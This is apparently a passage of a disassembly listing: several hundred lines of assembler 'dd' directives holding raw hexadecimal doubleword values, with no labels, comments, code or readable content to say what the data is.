		dd 3F6D5270h, 81581DDAh, 9209FB07h, 82AC90BDh, 0D400729Dh
		dd 7A31182Dh, 0CD9A52h,	7CCF89D1h, 34D316EBh, 4C694D00h
		dd 48388E8Ch, 75B30006h, 4473BA79h, 9F0F35FEh, 7F46F23h
		dd 2F00FD38h, 0FB263Eh,	520899EDh, 5A8E65DBh, 31499B00h
		dd 0A2B32C6Fh, 92580027h, 62F0B763h, 34747C3Fh,	48F5BC01h
		dd 729B7514h, 69E9C1FFh, 98B05D0h, 0DCA3DA4Ch, 7EC7A300h
		dd 83003148h, 2FA15A0Ah, 2C64F461h, 5E954h, 726EE4CDh
		dd 0F7E29119h, 4201D690h, 73A57BC7h, 52D8AC8Fh,	0E9240EAAh
		dd 0D42006DCh, 1D1A583Fh, 45070E04h, 0C813832h,	39B83CBCh
		dd 6DFE7500h, 612334C1h
		dd 0B457C00h, 0EC4CF72h, 3BC71EDAh, 636C0D5h, 0AF3AF63h
		dd 9633601Dh, 26D364C0h, 3B40D43Fh, 76041FA9h, 0C0CDD1E2h
		dd 6DCC72B2h, 0B082FE00h, 7D11F943h, 6DF0018h, 26AF1AEDh
		dd 0D005FD0h, 2B38A07Eh, 3724AEh, 13C9631Eh, 8DD0E6DCh
		dd 72716400h, 12AFAA32h, 0BDCE0747h, 200DE058h,	0C1E1225Bh
		dd 8C61C91Dh, 39D7B041h, 7160A4C4h, 0AE5A022Eh,	5DBC4B2Fh
		dd 0C063048h, 3E08D500h, 7018B5C9h, 0E475066Bh,	38A03CDCh
		dd 0B1924C00h, 37B066Ch, 21D80029h, 0CDFC1215h,	0B489EFDh
		dd 68EE0034h, 60CB9F7Ch, 67AF0F2Dh, 1E6013E9h, 0AA1A7A93h
		dd 0B257F607h, 77602A6Dh, 3A6CCBh, 924A3723h, 46B4DCB7h
		dd 0C707F77Ah, 7344C933h, 75B036B0h, 0A0E8F869h, 8856DE0h
		dd 20C8C72Bh, 398E9B04h, 0E40901Ch, 60B32B97h, 0A2752843h
		dd 0CDC900BFh, 0FC44C49Ch, 0F71D2F3Dh, 830FC12Ah, 9A7D428Ah
		dd 5536C088h, 61C20BFDh, 9D00988Fh, 0E4ADB5F3h,	2A072F00h
		dd 44FEC816h, 807FFFh, 0C1B46534h, 6B1839FBh, 6ACBDD00h
		dd 518DCD89h, 7C4348E3h, 50E97874h, 3E50C66h, 82F0576h
		dd 46881FE7h, 6800AEDAh, 7A3C9826h, 8AEC02h, 7C927358h
		dd 333B104Eh, 5A574300h, 53F395E9h, 9E3F2A56h, 919050CCh
		dd 27E000Bh, 162FD726h,	6AE2E218h, 78433900h, 3FAC875h
		dd 60800CEh, 0AD2DDEF3h, 1C0067D9h, 1BD62601h, 279E5Ah
		dd 0C2A23CF1h, 0C8B14E41h, 75018500h, 73A1F67h,	0A972007Dh
		dd 54908696h, 33078B40h, 941ACB25h, 0E8850F20h,	71F200B8h
		dd 800A753Bh, 0D0F95E55h, 72F03391h, 3F241D00h,	413A102Eh
		dd 79570092h, 0C21E97FBh, 66281403h, 9D07D176h,	0C6916181h
		dd 67A8D970h, 30E628AEh, 0DCEAA8h, 11D06DA2h, 5EC9ED87h
		dd 0CDD48h, 1238BB0Dh, 3138F33h, 6CBEA9CEh, 26C8EBFFh
		dd 0F360AB28h, 0C960C328h, 0D4111CA5h, 46FA403Ah, 0CA826FC1h
		dd 0B5368D00h, 0A65F0887h, 0AD77D3h, 0EA0FBB52h, 0FB27FEEEh
		dd 79CEA900h, 8CB16AF4h, 0BE960ED3h, 5F204AC1h,	0D8D084EBh
		dd 0C33E6600h, 0E52B9844h, 2E417C0Bh, 380AC9ECh, 0B94D098Fh
		dd 0C874AAh, 5022326Ch,	0B20015C1h, 0FAABD19h, 3AD32E8Ah
		dd 6501D15Dh, 0DB3410A4h, 6932C4A3h, 403DC800h,	0F5C60B14h
		dd 3C1EE038h, 0C20026FBh, 0C1485813h, 0F779CE41h, 0A34DDF00h
		dd 5BD4540h, 972900E5h,	8B94E2E7h, 1E90F01Eh, 3B1B1000h
		dd 0BD8845E4h, 99E01Ah,	0BB69246Eh, 0D505CFCDh,	0EC46B600h
		dd 562817EFh, 0F84103A3h, 0F110D381h, 0A8C034D2h, 5AEAC331h
		dd 0B8D8BE12h, 0E3B4E0h, 0A8F9BF57h, 441E39D6h,	35E0A700h
		dd 346E6DB3h, 759701C6h, 1AE60274h, 2AF3C8F5h, 0B1821200h
		dd 4CC20759h, 0A3873C40h, 549BD900h, 9102A2A8h,	0F0DDA503h
		dd 0B8D09DAFh, 1295F5h,	26FF7D96h, 0A6782167h, 6B53E607h
		dd 3B00B4BEh, 0E98A5h, 9D322BFCh, 0CE5FAAD3h, 8D776600h
		dd 44E32457h, 0C47900EEh, 69FF4FB1h, 0AB00591Ah, 0E2BDBA25h
		dd 0E0AF9A67h, 0D1483954h, 5B2F8F84h, 0F0B580B1h, 3300FE4Bh
		dd 704DC46h, 6D79B56h, 6972BDC9h, 1800F095h, 0DFA67A97h
		dd 0F24CC334h, 89210010h, 7425C23Ah, 711E9D51h,	2680FAE7h
		dd 0EBB2EE37h, 53DE0039h, 27DA97A4h, 1FE00DBEh,	0C4FB48h
		dd 29B84AA9h, 41942B5h,	6E96F2A1h, 0C564C012h, 262CB0C0h
		dd 180050F1h, 843C5750h, 0F6F200ABh, 0E1EFE078h, 5A1CCCEDh
		dd 0F100DB45h, 4BA5E9DFh, 7510146Fh, 3C0EBCC0h,	0C3E0DC32h
		dd 52DD2EC4h, 5B263Bh, 98AF7DCAh, 77E6Dh, 8068037Fh, 462EABEBh
		dd 1BF67502h, 4099C684h, 0E1F0B79h, 0A036AF65h,	390F8DC0h
		dd 0AD00F722h, 47B5122Eh, 2671779h, 1C7C5769h, 0CCC815FAh
		dd 39F0E98Eh, 58761100h, 0DE5620F3h, 1071B1h, 27357DFCh
		dd 22910A09h, 0D314FB00h, 64289B18h, 0F4CB00Dh,	0D20C513Dh
		dd 37C2A80Ch, 15900860h, 0E48D9B65h, 0F747FEAAh, 58792464h
		dd 54000083h, 452B4A46h, 3E00FEEAh, 85E1BF6Eh, 0E9FCE39h
		dd 8F10959Bh, 4CA80FA0h, 0B100F4ABh, 8270E92Ah,	3C0C1Bh
		dd 50A29257h, 37258660h, 0B4CBF60Fh, 8800763Ah,	0C27F45E8h
		dd 82471838h, 8E70D8F2h, 0C57C3102h, 7DB8CC4Fh,	0E9EA5AC0h
		dd 0E1EE437Bh, 15B0F4Ch, 87478A1Eh, 0E030DAD3h,	63D617ECh
		dd 9BD840EFh, 8999CA20h, 3CDFD40Ah, 0C40F840Ch,	8066497Eh
		dd 18CEC6B8h, 414B00CBh, 0EDA77596h, 0E903EEB8h, 849F5AD3h
		dd 94AFA02Fh, 3C373D7h,	0CE372760h, 7BD81832h, 0B200769Ah
		dd 3AF6A9A1h, 63F202h, 0C2E8F543h, 91A5D9D7h, 2724B700h
		dd 0D1B636EDh, 0D8B85Eh, 93718513h, 14B4E150h, 40E0CEF5h
		dd 5A1D7417h, 0FA8055E8h, 5B6C0802h, 32D61F67h,	204C7879h
		dd 0EB039958h, 1513EFEAh, 93F3A0A0h, 6329A307h,	58253ABCh
		dd 0AA5AE480h, 612C014Ch, 0B360E13Dh, 0B1A82037h, 0E289FB00h
		dd 36EE1DC4h, 5D5C346Ch, 0DCDFC598h, 1A3FE124h,	2EA38E13h
		dd 47BD6088h, 4CA43889h, 0B412C6EAh, 0E918004Eh, 0EDE339E6h
		dd 26003D7Dh, 7B3C58ADh, 0D4A812Ch, 68521CFDh, 38428B62h
		dd 0E72000AEh, 29EFB9Fh, 0C122D8A6h, 0A0C352BCh, 39324EF0h
		dd 831CBF00h, 0DF190910h, 0F34600FEh, 89FDFBC8h, 0BB00A604h
		dd 186C1490h, 0E4CCB720h, 0DC541F84h, 0F94E87EFh, 0C50BB3B4h
		dd 0B2ECC9A0h, 1FF13801h, 19CE0A2Dh, 0A096FBC8h, 0BA4DA4h
		dd 6084CD87h, 37242A77h, 72986572h, 102B9230h, 0F8B050h
		dd 1333AA11h, 7DDE3C14h, 5501A870h, 848F9B91h, 0D82429A2h
		dd 0FBA90199h, 0A86878BFh, 5F8CCCC9h, 6310D700h, 0F33E2726h
		dd 0B73B00FFh, 0AF40FC6Ch, 5200AC44h, 828B1460h, 0E7AA210h
		dd 0ED7B3FAEh, 9FBD0C62h, 2A96DC40h, 0DD045373h, 0B084690Dh
		dd 9BD271C0h, 0EBBD05C7h, 0D00FF299h, 0DF903748h, 9A5C100h
		dd 15C2FECAh, 62360E03h, 98C06EC0h, 7558C983h, 0C7F34500h
		dd 0D7067A41h, 0ED432EA0h, 0EA5C0021h, 0DA7D0588h, 0A600D6FAh
		dd 0E232C2A7h, 24538D63h, 182C3Ah, 0F97BB12Bh, 2100FC27h
		dd 0E77C368Fh, 7F4B9Dh,	0DEA3C016h, 7858A18Bh, 53DB2400h
		dd 5DCD01B3h, 6CE80005h, 0E597F098h, 9A12095Eh,	9037729Dh
		dd 0FA071130h, 2DE600DFh, 0D4BFB9B5h, 0DB77A8DAh, 0F4534Ch
		dd 0C74A430Fh, 50E78B2h, 0CFCA0D35h, 57108079h,	5C17E594h
		dd 0A00037B5h, 40FD6F6Ch, 0B9C400F9h, 1BB14D59h, 0C3608ED3h
		dd 3A965810h, 7A8A002Ah, 0CC18BAFAh, 420009F3h,	224A200Eh
		dd 28E0C6Ah, 0F2A80255h, 0D6614BC7h, 0A741802Ch, 7F9C3C45h
		dd 8CA900E5h, 0EB36EF32h, 9E1E02A8h, 15009B40h,	1CE38A86h
		dd 5AC30907h, 1C0734A7h, 0F490A97Bh, 210053FCh,	0CA852258h
		dd 0E455D62h, 0E3AA6675h, 0C633F8A0h, 50B02F47h, 3C271D3Eh
		dd 0CCEB2418h, 0B092140Fh, 214610h, 71D77C40h, 7724FCC0h
		dd 107897DDh, 38FDE00h,	3B0A3396h, 0BFE3832h, 414AAB00h
		dd 0E3069838h, 8A375A09h, 3A180028h, 87D812h, 25FBF12Ah
		dd 6A48CA5Bh, 44FC38h, 39112350h, 9465C117h, 9C7D0794h
		dd 0A1DF0037h, 0F759400Ch, 2A1907BCh, 9F603596h, 3F259B2h
		dd 61707404h, 0B788D5B6h, 0DC0AE2DBh, 0EC6D3306h, 3A550283h
		dd 2488FCB0h, 703900CBh, 96314ECEh, 0EE1C15F0h,	0E14002CDh
		dd 40B4A53Ah, 397F0Eh, 0B5FADAFDh, 0CCBB6FE9h, 13C50500h
		dd 9669D3DCh
		dd 1E1B0446h, 0D3F2D2D4h, 7F980CD4h, 2A00E873h,	36DA46B1h
		dd 48F185Dh, 7DA4AAA2h,	0ADD080ACh, 0B4076F53h,	0C62A8404h
		dd 90DB9613h, 0B8FDB6h,	6DF04425h, 0C03FB3F3h, 1706C400h
		dd 0E6277031h, 0DA83056Fh, 570FBB4Fh, 8EB01DB0h, 68209ECCh
		dd 0CD5FCEE8h, 41441403h, 0C217F825h, 0ED04046h, 0EAAF3DA9h
		dd 24B56600h, 11733723h, 4F915918h, 1C6D3F11h, 9D63F0h
		dd 7D90B146h, 5916C5C6h, 881A054h, 602C93E3h, 7710AE00h
		dd 1471E707h, 0CFF090CFh, 0B340FCD1h, 4AEC683Bh, 9923009Ch
		dd 326DE8E0h, 0B502DE0Eh, 7EEA101Dh, 96C84021h,	70090008h
		dd 9A52AB81h, 0C6267AA3h, 3000D0BCh, 0EBBBAFDEh, 0CCB05C68h
		dd 9F591F00h, 958BCE88h, 0C6B84503h, 0BB9D09h, 9B5CB630h
		dd 5F26E290h, 1D4DD81Fh, 0B494C780h, 98FCF6Dh, 4BB31331h
		dd 88B55980h, 5900B60Ch, 32895E9Ah, 1A4F7FFh, 0E4E0015Fh
		dd 20D18114h, 0FD0B1A89h, 44B768h, 4659D4C2h, 3D03002Dh
		dd 120FDF4Ah, 0DE001578h, 2E33B0E0h, 90EAC3A9h,	0CF7A07D4h
		dd 0C22B4Fh, 0BAD3191Dh, 28B4AB00h, 38923BDEh, 548B008Dh
		dd 815A3D06h, 0EE07E2C3h, 0A8D8D372h, 7AC92690h, 173D9A01h
		dd 40FF1DAEh, 4F5C0ED4h, 0DD00CB9Ch, 0C2311905h, 2EDFB55Ah
		dd 241C1B95h, 17AA708Ch, 7800CCE4h, 1F6555A7h, 913969h
		dd 50560912h, 7A018229h, 3B00FF74h, 0DCBF8946h,	0AF1D26h
		dd 389EAD73h, 0A7C82AFEh, 806E1F3Ah, 0EC146717h, 14537D2h
		dd 7D180F50h, 0E02D84D5h, 1002F223h, 52636ABAh,	0B78E6EBh
		dd 0C9B894CCh, 55FAD780h, 0F601F449h, 52CFA612h, 1D04D9Dh
		dd 64E600CAh, 4110681Bh, 0BA097EC8h, 5A56E8h, 0CAC723BCh
		dd 7B07B7Ch, 0E539CD4Dh, 3FF2106Ch, 94005572h, 461DB66Bh
		dd 1DDD2CA0h, 8037EE31h, 5B782FF1h, 0B006996h, 0F7AD411Dh
		dd 0D2E902DDh, 2701AE20h, 4594892Eh, 0CE08846Ch, 34003326h
		dd 0E0BA5FD7h, 124F74A9h, 0C3C38ACh, 0CA18D190h, 0CF2875F8h
		dd 891818F7h, 0C8495A8Dh, 41531E85h, 230FBAC4h,	400FFFDh
		dd 0A1CE86C1h, 0CFF6B500h, 9FBEE5Bh, 0B4F00881h, 2E00563Ah
		dd 0A198BAD2h, 20A55D5Ah, 0B3DF1E7Ch, 6B104592h, 505A8030h
		dd 8A00B519h, 8CABE822h, 9471586h, 52688879h, 99480FDh
		dd 2CDE020Dh, 86008D2Bh, 6957E1B7h, 9952D000h, 98AA5C8Ah
		dd 9AD71F8Fh, 93BA008Dh, 88A62F3Fh, 0E0865E24h,	5AFFBE03h
		dd 7AC08F4Ch, 0F85759h,	0FA19283Bh, 3F8E2169h, 0EB734400h
		dd 7267D9CCh, 387E06Fh,	624B9BB9h, 6D90502Eh, 1198CA42h
		dd 0FD17A700h, 8293E746h, 0F124018Dh, 79AEC520h, 0AB792038h
		dd 757D1470h, 2CE63300h, 10C03ABDh, 0DE2200C4h,	0A7EB6E8Eh
		dd 593E3772h, 32660FC6h, 5EB980E4h, 0A8342A0Bh,	0FB4ECCh
		dd 7AA1329h, 178938BBh,	604608CBh, 5238498h, 883D352Ah
		dd 6ECE82CFh, 421290A0h, 0D1008A48h, 0BB7D8B9Ch, 2BD4CEh
		dd 87E57EDDh, 0A9E342DCh, 64B7EA1Ah, 36364088h,	8EE60953h
		dd 1800091Fh, 29FC5EB8h, 2A3E48A8h, 3FA9DE11h, 35D5584h
		dd 0D82A2973h, 2FDD1250h, 0B5005A85h, 80DA94E2h, 5B8F3412h
		dd 0B2E93447h, 44E72B42h, 86940114h, 730CB197h,	72B8E430h
		dd 208908C9h, 995E7400h, 0EA710FF6h, 5DC03E76h,	36C54EF5h
		dd 3B000C91h, 0EE87FAB4h, 3299191Ah, 816509DAh,	0FAFF1B21h
		dd 67C81925h, 4F7101ECh, 0CB5B180Eh, 0D472CDF8h, 8E00CE10h
		dd 245D2FB2h, 3F884AC2h, 0CA0C4F0Dh, 0EC7830EAh, 32E8E00h
		dd 0A873C447h, 28A073Bh, 0FCB6D8h, 193D2FB8h, 0BD127900h
		dd 0C7079772h, 0BB7F00E4h, 65D8870Ch, 8C005195h, 15528A7h
		dd 1F14D7AEh, 0C7C94EDDh, 39B08AC8h, 0F4F75480h, 0A005C79h
		dd 0B156BF9h, 1C3A790h,	292BFBD2h, 0F853DA4Ah, 2009B63h
		dd 0DDF15852h, 77EBA6C9h, 5BEF002Fh, 0E5AB541Ch, 61769DEAh
		dd 0F3E6C400h, 1A0A2ED4h, 7EF500E1h, 0C6CEB0D5h, 0B3007239h
		dd 0FFD11612h, 18EEF9Eh, 6C0E547Fh, 70C3F307h, 948E9E6h
		dd 42303380h, 418098DCh, 0C71D00DAh, 0C9FF271Ch, 0FA009166h
		dd 39738523h, 1FDC1B65h, 0DEE58E5Dh, 0DE32C319h, 0F698EB98h
		dd 9A036638h, 1D5AA769h, 0A344B0DCh, 5018C09Fh,	4AE3949Bh
		dd 981080F3h, 19E65FEFh, 0CF5B0059h, 7310C589h,	0E10061C4h
		dd 0A40D2277h, 7C9843h,	0ACF25D99h, 2A827E0h, 3126CCEBh
		dd 0F5093DECh, 0F31A69h, 95D59AB0h, 0C1D91880h,	111201Fh
		dd 0A21A6A0Fh, 73900354h, 6D1B98E4h, 0A9B80009h, 9BB31EAEh
		dd 831C1A6Ch, 4A40665Dh, 0A220C510h, 0EB460948h, 7680CE37h
		dd 72ACEFEAh, 0A038B105h, 0F3C0328Ch, 7CC259F1h, 30E809B0h
		dd 0E68064C4h, 0C82C6890h, 0B08A38CFh, 1A01374Ch, 0C7CE2D9Eh
		dd 0F1209D64h, 0C9A1ED06h, 49670011h, 0BC4CD88Bh, 481DCDD2h
		dd 5D0DD324h, 0BE602062h, 6F560188h, 0BE50B37Ah, 78888D84h
		dd 889D3008h, 70BDC735h, 0F360CC2Bh, 885B0E8Ch,	0D3E84CD2h
		dd 0FC526264h, 0B9B100D8h, 4806EBAAh, 77B2170Ah, 0A63A01F2h
		dd 0C41E4A23h, 30C070CCh, 8B8184C7h, 62EC1EBBh,	0F2E107EEh
		dd 1EA2C3EDh, 18322000h, 7DB3F58Bh, 36ECFC45h, 5849AAFCh
		dd 10C12030h, 0A55EEBh,	0C03F2732h, 0DA5443FAh,	25425600h
		dd 39ACE1BCh, 629C1C97h, 0D2D487DCh, 3CBD63A6h,	59147DE0h
		dd 7CCD601h, 1A46746Ah,	0BED060h, 972A863Eh, 62A36642h
		dd 0FDE35703h, 0DCBDFAh, 53391D40h, 1B83EEA5h, 7AFC455Ch
		dd 0E06082E8h, 50917C20h, 36800DFh, 155E551Fh, 0D90CF4C0h
		dd 48599052h, 0FBDF002Bh, 1A62A5D2h, 10006A1Ch,	0A6E6DED5h
		dd 0C34DCC7h, 93A7F41Bh, 0A8120631h, 4074108h, 9E40DED4h
		dd 0A0C63Bh, 0D0DCBE19h, 5A7207B0h, 5FFAE800h, 2878AFB5h
		dd 19D90236h, 660D30C6h, 87D8CB81h, 0D178B476h,	0CB10702Fh
		dd 0EDDDC0DCh, 464D09h,	921FC335h, 0F3ECC502h, 31DFBF00h
		dd 81A84367h, 89C60C73h, 8261609Fh, 0D619E400h,	0BB3C4B93h
		dd 7F34049Eh, 0C161BAh,	0D41B6C5Bh, 4B3600D0h, 8F119A2h
		dd 0BF02F6ACh, 1FABA726h, 7CE4A0DAh, 3E41DD5h, 0C566D247h
		dd 831FB59h, 0FD992177h, 98172A30h, 5A7318F4h, 0AE46F995h
		dd 3100C7F8h, 81A99913h, 5551737Ah, 76D0B8B5h, 30DF79C6h
		dd 942082EFh, 6A00A6FFh, 43B97FAh, 0F2F905h, 38EA6C58h
		dd 9B0A886Bh, 3173E705h, 0F207ACF8h, 0B3607983h, 0E26BD56Eh
		dd 7F9F004Ch, 0D98D123Dh, 0C400E1B8h, 742DB025h, 0F6110798h
		dd 12BE3F8Ah, 20B92498h, 2E00654Ah, 278DB572h, 0ED8EB01h
		dd 0B45BE9B8h, 0C0DEA360h, 518C4C1h, 59F2E37Bh,	1910C0E5h
		dd 0C065F5C5h, 0DB6E6A03h, 0A378B137h, 76213D2Ch, 1D33F500h
		dd 5FFE7B19h, 171C6200h, 2D65733Fh, 28ED6CE0h, 60D3688h
		dd 11DD4B64h, 0B927CD8h, 5F3AC3C7h, 673350Ah, 2008B2EEh
		dd 920564F4h, 0B81F9EABh, 0DFB280BAh, 0CA1881EDh, 1EB8E367h
		dd 3D830062h, 9D4FE7ECh, 90A84A45h, 16868CD7h, 0A872DCBh
		dd 64900D48h, 0EC474026h, 0CBAC30h, 41A5C398h, 0A0C0F78Fh
		dd 0C151FB31h, 0B2FCCC3Ch, 2CCF530h, 29BC0006h,	6407E663h
		dd 0DB004618h, 0A4109BC6h, 7671DEh, 0A12408C4h,	98B402DAh
		dd 48B10400h, 0C59B8881h, 11B072h, 8D73D7E4h, 43300C5Dh
		dd 3FA4FA03h, 0D0780E66h, 65CBB2h, 0DD48C19Eh, 0A7614957h
		dd 2A00F573h, 566E5853h
		dd 0D14CA3h, 0E985E6F9h, 48164544h, 1455BD00h, 388B80BFh
		dd 332C0087h, 266B112Eh, 4900E494h, 0AEC76745h,	1D25157Ch
		dd 4080DB16h, 4241C3B8h, 2AEAF760h, 39299600h, 214389B2h
		dd 0A0A8005Ah, 590BB55Bh, 0F6EE1D3Ch, 0C6E9EE00h, 99B07FBEh
		dd 0E6D40033h, 7C167E12h, 0E500C134h, 84CC2DAAh, 222642h
		dd 0BD32B4BEh, 0ACAB8620h, 2CB74000h, 0E9823C31h, 48A57601h
		dd 0B00632CBh, 31A90232h, 0D5526500h, 0E1FAADACh, 42E80F25h
		dd 803D44DFh, 0BE4584DEh, 88C1BA71h, 0C4398882h, 0E0FB32CCh
		dd 0CC7B3Bh, 0F5578E62h, 38AAC622h, 0B3DAB800h,	1FA4685Ch
		dd 0F7E00039h, 0BB0DAF5Fh, 0C80038D4h, 0FCC9D45h, 97D908B7h
		dd 7498E450h, 566A0A00h, 7FBD3711h, 39F018h, 556F4F9Bh
		dd 0F2EE8A5Dh, 14506200h, 0ACEBE382h, 32F60063h, 0E980D24Ah
		dd 0B0003A31h, 0C6C05C0Bh, 64C5B20Fh, 4ACBF17Fh, 0FD00BCF3h
		dd 88A80AF0h, 0F6F90669h, 20B1DF06h, 8028973Ch,	90EB8636h
		dd 48E9B3h, 0EE2AB727h,	304A9D10h, 0B0E10428h, 61AFC930h
		dd 91BC8h, 0F58A8243h, 3F234814h, 495B3100h, 0C787CF13h
		dd 37D703FFh, 0F743FB4Ch, 83711990h, 7C977E00h,	6052B6ABh
		dd 0E0A94FCFh, 0DF129CDAh, 950399BAh, 0B07BD808h, 0CA2E7Dh
		dd 46842957h, 936A8E88h, 72B91A0Bh, 0A0AE8ECFh,	0CDF6E5B8h
		dd 58111E91h, 7EBC8017h, 85DAB224h, 223638C1h, 9F713E92h
		dd 3EDCEE8h, 9FB11D7Dh,	0A591031Bh, 7E18BDE5h, 2EE85B4Bh
		dd 80715918h, 0F0008ABh, 660A9C78h, 0FD180Ch, 0C379D829h
		dd 9A3CF962h, 923BA11Dh, 120030E8h, 51A8AF7Fh, 7A8CFDh
		dd 4FF3B9B8h, 34F19C01h, 3A8E8708h, 11748772h, 26F04C7Eh
		dd 24A09A7Ah, 0F43E0E9Eh, 588D0078h, 0AA7C95DFh, 8B3000FCh
		dd 3B28F9ECh, 94CF679Fh, 16C2A157h, 0EF0EE10h, 22C600A4h
		dd 1F51605Dh, 0D907F7B0h, 1CE59B63h, 112DBE10h,	889C0015h
		dd 0B337EA9Dh, 14000A12h, 0F820A94Eh, 7A1641E6h, 3D512C58h
		dd 0DCC900ABh, 0BF50BAAFh, 2E5CAA00h, 41ADE19Ch, 0BD393AA1h
		dd 0B878A800h, 5D5B9A50h, 7CE8DC00h, 1E4E970h, 0A55F3003h
		dd 8A9FB0A0h, 22D2601Dh, 691F50B0h, 0EFB103B7h,	0D41E3C9h
		dd 0A181DCE0h, 1E4730C5h, 7611F880h, 48ECF015h,	0FF00785Dh
		dd 5F85062Dh, 0E000BF81h, 10765E98h, 7D8876Eh, 7A2F180Eh
		dd 80FBA023h, 6B008AF4h, 593A711Fh, 0FF1FCh, 110E610Bh
		dd 9E9170Ch, 0FE55FB00h, 0E4B447BBh, 81863C2h, 201F0DFFh
		dd 54804AF7h, 3A0787A2h, 0EB620376h, 0F3E6CC6Fh, 110A5110h
		dd 3F5640C0h, 0E5FA9FBAh, 21366184h, 0D0BB47FCh, 0CA003DADh
		dd 4580444Ah, 7C26FD1Ch, 919A1352h, 96650194h, 80E1BA6Ah
		dd 438E9338h, 0C069E7F9h, 0CBF64998h, 0B036DEDh, 336616B8h
		dd 0C0A3B4h, 0CBBF3221h, 11BD82D2h, 0DBEBB200h,	7D601DF0h
		dd 0F2220352h, 0E916D39Ah, 0E0583060h, 0C0E66AA4h, 29FFB710h
		dd 3C0393F5h, 242C283Dh, 0BBA0A13Eh, 80D6209Fh,	659ADD29h
		dd 0C3174FC4h, 71016F12h, 6A9521A1h, 30798CDCh,	3B180DF0h
		dd 71812DA2h, 7C1215F0h, 172B010Eh, 2C807EDCh, 579CE011h
		dd 22661307h, 0C810CE85h, 0B3E0FEh, 1439ACA4h, 98A6BCF9h
		dd 0D6F71A00h, 9C5B727Ch, 692800FBh, 0EB6B07E4h, 6372AF10h
		dd 0CAF44400h, 0C44AE388h, 0F04900FFh, 0AE01379Fh, 55014CB5h
		dd 0EBA44DDAh, 93DCE20Ah, 6F470092h, 699AE475h,	0F201178Ah
		dd 1AE09782h, 483099F3h, 21233B12h, 0FF5AD887h,	0F7FCB79Eh
		dd 4AC39076h, 0B2031DE4h, 70C686A6h, 0F5A8C087h, 0A233006Eh
		dd 4225641Ch, 0D800A12Ah, 0F7819302h, 7BF0B6Ch,	17DB06F8h
		dd 2C16F076h, 37FCDD35h, 95E2BB00h, 0FA2BABA6h,	0F2F500C8h
		dd 0F1C4821Ah, 390EBAACh, 0A04D1154h, 868D4428h, 752F1D93h
		dd 82090C5Bh, 65000C20h, 0DC8F0FBAh, 5FDE73h, 2ED0CBBBh
		dd 0AEB158BEh, 0F3BFF90Eh, 0B83F6078h, 0D386946h, 0F764A436h
		dd 0F4688122h, 0CF94E843h, 3128CBFCh, 0E008011Fh, 222080B0h
		dd 4CB9E8BDh, 51DE0129h, 5C88D059h, 5E9FE09Ch, 0A8B168DBh
		dd 0E26DFB70h, 0DA11C59Eh, 4224806Ah, 0BA001C17h, 0B9FF6637h
		dd 0B53F9A0h, 146D68B1h, 0E760B300h, 1518313Ah,	6651C54Ch
		dd 5DF70041h, 52F5956Eh, 0A3011F9Fh, 344BBEB0h,	92E06C0Ah
		dd 0C82C00FCh, 0F87FF2B6h, 0D5005B2Eh, 1001671Bh, 0F8F3195Fh
		dd 0BC6E00B3h, 0FF64FAE8h, 76001CCCh, 3947C918h, 92BF05h
		dd 10E2072Fh, 50BB2C1Dh, 0F7153007h, 42370C1Eh,	0B39304F0h
		dd 0D16200D3h, 0B7CD2E31h, 0D5001EF5h, 57EB3250h, 1CCA65h
		dd 5BB6C9CCh, 4BE58127h, 0D300E9ECh, 39C022ABh,	0FD521h
		dd 8B713448h, 462C77FCh, 884DD100h, 0C169CD65h,	0D403003Ah
		dd 0FCC6BF89h, 5D0084DCh, 1FCCB127h, 2FC38Ah, 814A536Eh
		dd 8FFEDBCDh, 28DF8B00h, 9766D5D8h, 2B030FB8h, 0AEEFF4B1h
		dd 9110C1ECh, 2D3C7875h, 660D06C0h, 1E18D827h, 2CD97E67h
		dd 56F901BDh, 0DCE4B908h, 92701A96h, 0D63EBB00h, 0FC2ABF66h
		dd 9A7C56h, 0B980545Dh,	0D713E8CEh, 2CCC600h, 5FC98B99h
		dd 0DDE203A8h, 0DFF8FF10h, 4B802101h, 41DE140h,	0CCA7FCh
		dd 3214D5D2h, 5F79729Ah, 330C0E2h, 0BEA031E0h, 7FE51DC7h
		dd 0F680BBBCh, 222058BBh, 9D0E3512h, 0A055EB73h, 0DC7543A8h
		dd 97974C8Bh, 9E513E03h, 7C887D6Eh, 8400894Fh, 0B1D81230h
		dd 0EF1C57h, 9CC64EBFh,	0E1D1CD9Fh, 0B4D6BC28h,	940C8CE8h
		dd 11B92FA1h, 0E570000Fh, 60E77A9Dh, 0C30BCFB0h, 70EE2944h
		dd 9BD70099h, 920B9914h, 0C00AA74h, 132CA039h, 0A8D397h
		dd 3BA75476h, 0AC6B7D0Eh, 8803FE75h, 0AEF94509h, 0A849F10Ah
		dd 0B53100C3h, 8885154Fh, 0D0E5D778h, 1400AB87h, 6269C2ADh
		dd 73B3548Dh, 1A1200BEh, 95E8EE42h, 93A04D3h, 17DC0099h
		dd 0EDDEC82Bh, 0E0A005Fh, 8CC67E13h, 71F1AB7h, 540044E8h
		dd 0CE846C6Dh, 631728C0h, 5CA530BAh, 0AB29E418h, 9A330100h
		dd 2F88AFBCh, 91280098h, 0EDD7F5Eh, 21004F68h, 0F297FFE9h
		dd 7B1A2EDFh, 487A0052h, 0A8ADC119h, 58EC4236h,	0CFD8006h
		dd 0C0601A4Fh, 3FE96B41h, 4100DCE7h, 6D82C96Fh,	0EE31F0Ch
		dd 0E4FB5379h, 954CFCA0h, 0D007C67h, 6DAEA297h,	0E1D29Ch
		dd 0E8E50223h, 6C735F0Ch, 0E24D2A00h, 37D7D3C3h, 78011DEDh
		dd 7BC14138h, 0F0902BDDh, 8CC2E62h, 4A2171h, 676BC4DBh
		dd 3261DFEAh, 4D3FCF17h, 0D23E63FCh, 0CC4278Fh,	8FD8F5A0h
		dd 172911C0h, 6D713478h, 0E300FA18h, 35FF3F10h,	305A8CDEh
		dd 0A170CA06h, 0AA184223h, 0D860A293h, 627700EEh, 2A890D97h
		dd 0F700C066h, 0B105528Fh, 8C6EC6h, 0CE2B0C9h, 0EEBBD9E4h
		dd 29180100h, 6BD10F7Ch, 263C19CEh, 81EB0823h, 8231BA21h
		dd 6030E54Bh, 0F560C7A8h, 86F9514h, 32C03528h, 21D25882h
		dd 7491E533h, 7F320077h, 19D40456h, 0BD1EC631h,	9DC07276h
		dd 67C59A53h, 238801A3h, 8DCA078Fh, 0BB3CE82Eh,	50AC3F01h
		dd 0D455D0C6h, 0E88ECFCh, 78D2405Fh, 8302CE0h, 0A901BF94h
		dd 0D0DA9FB9h, 59FC9DB7h, 90B8002Dh, 244266E2h,	0EB0B8792h
		dd 80C4473Eh, 0C607C713h, 0BBCE00DFh, 77463897h, 10FA8DAAh
